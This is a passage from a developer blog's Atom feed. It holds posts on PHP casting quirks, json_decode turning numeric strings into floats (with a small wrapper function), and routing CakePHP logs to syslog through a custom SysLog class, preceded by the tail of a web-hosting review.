hand I like some of their features like the automatic backup of your ftp files,
on the other hand their administration panel is a total mess and accessing the
server through SSH is not that simple.&lt;/p&gt;
&lt;p&gt;I&#39;ve heard they have a 10Mo/s bandwith. I&#39;ll try to get more information on
this.&lt;/p&gt;
&lt;h2&gt;Gandi&lt;/h2&gt;
&lt;p&gt;Gandi is an amazing registrar (both technically and ethically). I&#39;ve never had
any issues with their service and can only praise their technical support.&lt;/p&gt;
&lt;p&gt;Some years ago, they started doing hosting too. I tested it back then and was
quite disapointed. This was horribly slow and crashed.&lt;/p&gt;
&lt;p&gt;I never tried it again since then. I think they improved their service, and I
just asked a test account. Their VPS offer is interesting, the server is pretty
decent from what I can read and the price is still in my range (12€/month).&lt;/p&gt;
&lt;p&gt;&lt;em&gt;I&#39;ll continue this review later, with more information. If you, reader, have
any suggestion on a good host filling my need, feel free to post it in the
comments, I&#39;ll review it.&lt;/em&gt;&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Another PHP casting weirdness</title>
    <link href="https://blog.pixelastic.com/2011/05/06/php-casting-strangeness/"/>
    <updated>2011-05-06T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/05/06/php-casting-strangeness</id>
    <content type="html">&lt;p&gt;Second weird PHP behavior behavior of the day:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$foo&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $foo&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;bar&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// Ouptuts nothing, but doesn&#39;t throw an error either&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Strange. I try to read an undefined index (&lt;code&gt;false&lt;/code&gt; is not an array), but PHP
doesn&#39;t complain. That&#39;s weird.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$foo&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $foo&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;bar&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// Throws an error&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This time, PHP tells me that the index is not defined and throws an error. Wait,
what?&lt;/p&gt;
&lt;p&gt;Apparently, this is the intended behavior, but it does seem a bit strange...&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>json_decode casts strings to floats</title>
    <link href="https://blog.pixelastic.com/2011/05/06/json-decode-casts-strings-floats/"/>
    <updated>2011-05-06T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/05/06/json-decode-casts-strings-floats</id>
    <content type="html">&lt;p&gt;The PHP function [json_decode](http://fr.php.net/manual/en/function.json-
decode.php) takes a JSON string as argument and return a decoded array/object .&lt;/p&gt;
&lt;p&gt;However, when passing an argument that has nothing to do with a JSON string, the
function was supposed to return null. But, in practice, this didn&#39;t go so well.&lt;/p&gt;
&lt;h2&gt;Passing a string&lt;/h2&gt;
&lt;p&gt;Here&#39;s an example:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$foo&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;foo&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$bar&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; json_decode&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$foo&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// $bar is nothing,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;is_null&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$bar&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;This is null&quot;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;This is not null&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Passing a float&lt;/h2&gt;
&lt;p&gt;Here, we try to decode a string. The function rejects it and returns null.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$foo&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; 0.4&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$bar&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; json_decode&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$foo&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// $bar is a float&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;is_float&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$bar&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;This is a float&quot;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;This is not a float&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here, we pass a floating number. And the function returns... a floating number.
Wait, what?&lt;/p&gt;
&lt;p&gt;This is weird, I expected it to return null, once again. But maybe it&#39;s correct
and the JSON specs says so. I didn&#39;t check, actually.&lt;/p&gt;
&lt;h2&gt;Passing a string thats looks like a float&lt;/h2&gt;
&lt;p&gt;But the next example is even better:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$foo&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;0.4&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$bar&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; json_decode&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$foo&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// $bar is also a float, even if $foo was a string&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;is_float&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$bar&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;This is a float&quot;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &quot;This is not a float&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This time I pass a string as a parameter (like example 1) but got a float as a
result (like example 2).&lt;/p&gt;
&lt;p&gt;Well, this time I&#39;m sure that can&#39;t be the correct behavior.&lt;/p&gt;
&lt;h2&gt;How to deal with it&lt;/h2&gt;
&lt;p&gt;I finally wrote a little wrapper for json_decode to handle those strange cases :&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; my_json_decode&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$var&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $decodedValue&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; json_decode&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$var&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; is_array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$decodedValue&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $decodedValue&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $var&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will check that the result of the JSON decoding is an array, and if not
(meaning the original string was not a JSON string), it will return the original
string.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Custom logging system for cakePHP</title>
    <link href="https://blog.pixelastic.com/2011/05/05/custom-logging-system-cakephp/"/>
    <updated>2011-05-05T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/05/05/custom-logging-system-cakephp</id>
    <content type="html">&lt;p&gt;I do love cakePHP, but sometimes it can get tricky to get it to do exactly what
you want.&lt;/p&gt;
&lt;p&gt;For our big app, we needed to stop using the builtin logging system to take
advantage of the syslog and log analyzer tools we had.&lt;/p&gt;
&lt;p&gt;At first I got confused by the various log files, but after reading the cake
core code, it (kinda) makes sense. Let me explain it to you.&lt;/p&gt;
&lt;h2&gt;CakeLog and FileLog&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;CakeLog&lt;/code&gt; is the cake static class that handles all the log actions. You can
call it yourself statically using &lt;code&gt;CakeLog::write()&lt;/code&gt;, but cake also calls it
itself when an error is reported.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;CakeLog&lt;/code&gt; internally write its content using the FileLog. This &lt;code&gt;FileLog&lt;/code&gt; writes
its content to files located in &lt;code&gt;app/tmp/logs&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Writing errors to the syslog instead&lt;/h2&gt;
&lt;p&gt;We didn&#39;t want our logs to be saved in &lt;code&gt;app/tmp/logs&lt;/code&gt; for three mains reasons :&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Those files gets deleted on every deploy we did (this was how our deployment
system works)&lt;/li&gt;
&lt;li&gt;Those files can get very big very fast&lt;/li&gt;
&lt;li&gt;Our app was distributed accross several servers, meaning that each server had
its own set of log files&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Instead, we wanted them to be written to the syslog where they would be
intercepted and stored in our main log analyzer.&lt;/p&gt;
&lt;p&gt;To do so, we wrote a simple &lt;code&gt;SysLog&lt;/code&gt; class to use instead of the &lt;code&gt;FileLog&lt;/code&gt;. Here
it is:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; SysLog&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  /**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  *    Writes a log to the syslog&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  *    &#92;param    $type    Either a numerical constant or a string&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  *    &#92;param    $message    Message to log&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  **/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  public&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; write&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$type&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$message&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // We &quot;fix&quot; CakeLog that passes severity as a string&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;is_string&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$type&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;      // Mapping string to syslog priorities&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      $priorities&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;        &#39;debug&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    =&gt;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; LOG_DEBUG&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;        &#39;info&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;        =&gt;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; LOG_INFO&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;        &#39;notice&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    =&gt;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; LOG_NOTICE&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;        &#39;warning&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    =&gt;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; LOG_WARNING&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;        &#39;error&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    =&gt;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; LOG_ERR&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;        &#39;default&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    =&gt;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; LOG_NOTICE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;      );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      $type&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;array_key_exists&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$type&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$priorities&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $priorities&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$type&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $priorities&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;default&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;    // Writing to syslog&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;    openlog&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;LOG_LOCAL7&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;    syslog&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$type&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;trim&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$message&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;    closelog&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Place this file in &lt;code&gt;app/lib/log/sys_log.php&lt;/code&gt;. Then, in
&lt;code&gt;app/config/bootstrap.php&lt;/code&gt;, place the following code:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;CakeLog::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;default&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;engine&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;SysLog&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;));&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It is important that you place the &lt;code&gt;CakeLog::config()&lt;/code&gt; call in &lt;code&gt;bootstrap.php&lt;/code&gt;
and not in &lt;code&gt;core.php&lt;/code&gt; because of the way cake actually loads its internal. I
also manually defined the syslog facility as LOCAL7, but you can change it to
whatever you want or even update the code so the actual facility can be passed
as a parameter of the &lt;code&gt;CakeLog::config()&lt;/code&gt; call (actually, that&#39;s how it&#39;s done
in my real code, but I didn&#39;t want to overcomplicate the example).&lt;/p&gt;
&lt;p&gt;Also, note that I added a special code to handle the way CakeLog passes
parameters to the SysLog. CakeLog passes the severity as a string, so we convert
it back to the PHP constants.&lt;/p&gt;
&lt;p&gt;With this code, all your logs will now be routed to the syslog, and your
&lt;code&gt;app/tmp/logs&lt;/code&gt; directory will no longer grow in size (instead, that will be your
&lt;code&gt;/var/logs/syslog&lt;/code&gt; :) )&lt;/p&gt;
&lt;h2&gt;Where are my errors loggued now?&lt;/h2&gt;
&lt;p&gt;Well, your errors are loggued to the syslog. But cake defines its own error
handler that will reformat the error thrown by PHP, and reroute it to the
&lt;code&gt;CakeLog&lt;/code&gt;. In effect, it means that all errors with similar severity will be
grouped (&lt;code&gt;E_PARSE&lt;/code&gt;, &lt;code&gt;E_ERROR&lt;/code&gt;, &lt;code&gt;E_CORE_ERROR&lt;/code&gt;, etc will be loggued as
&lt;code&gt;LOG_ERROR&lt;/code&gt;). Also, cake will parse and reformat the message to log. It can be
problematic if you rely on your PHP config to correctly parse your logs because
you won&#39;t have the expected output.&lt;/p&gt;
&lt;p&gt;Hopefully, cake provides a way to disable this error handler, but it was very
tricky to find and even more tricky to correctly use. I won&#39;t spend too much
time on all the details, but what you have to know is:&lt;/p&gt;
&lt;ol&gt;
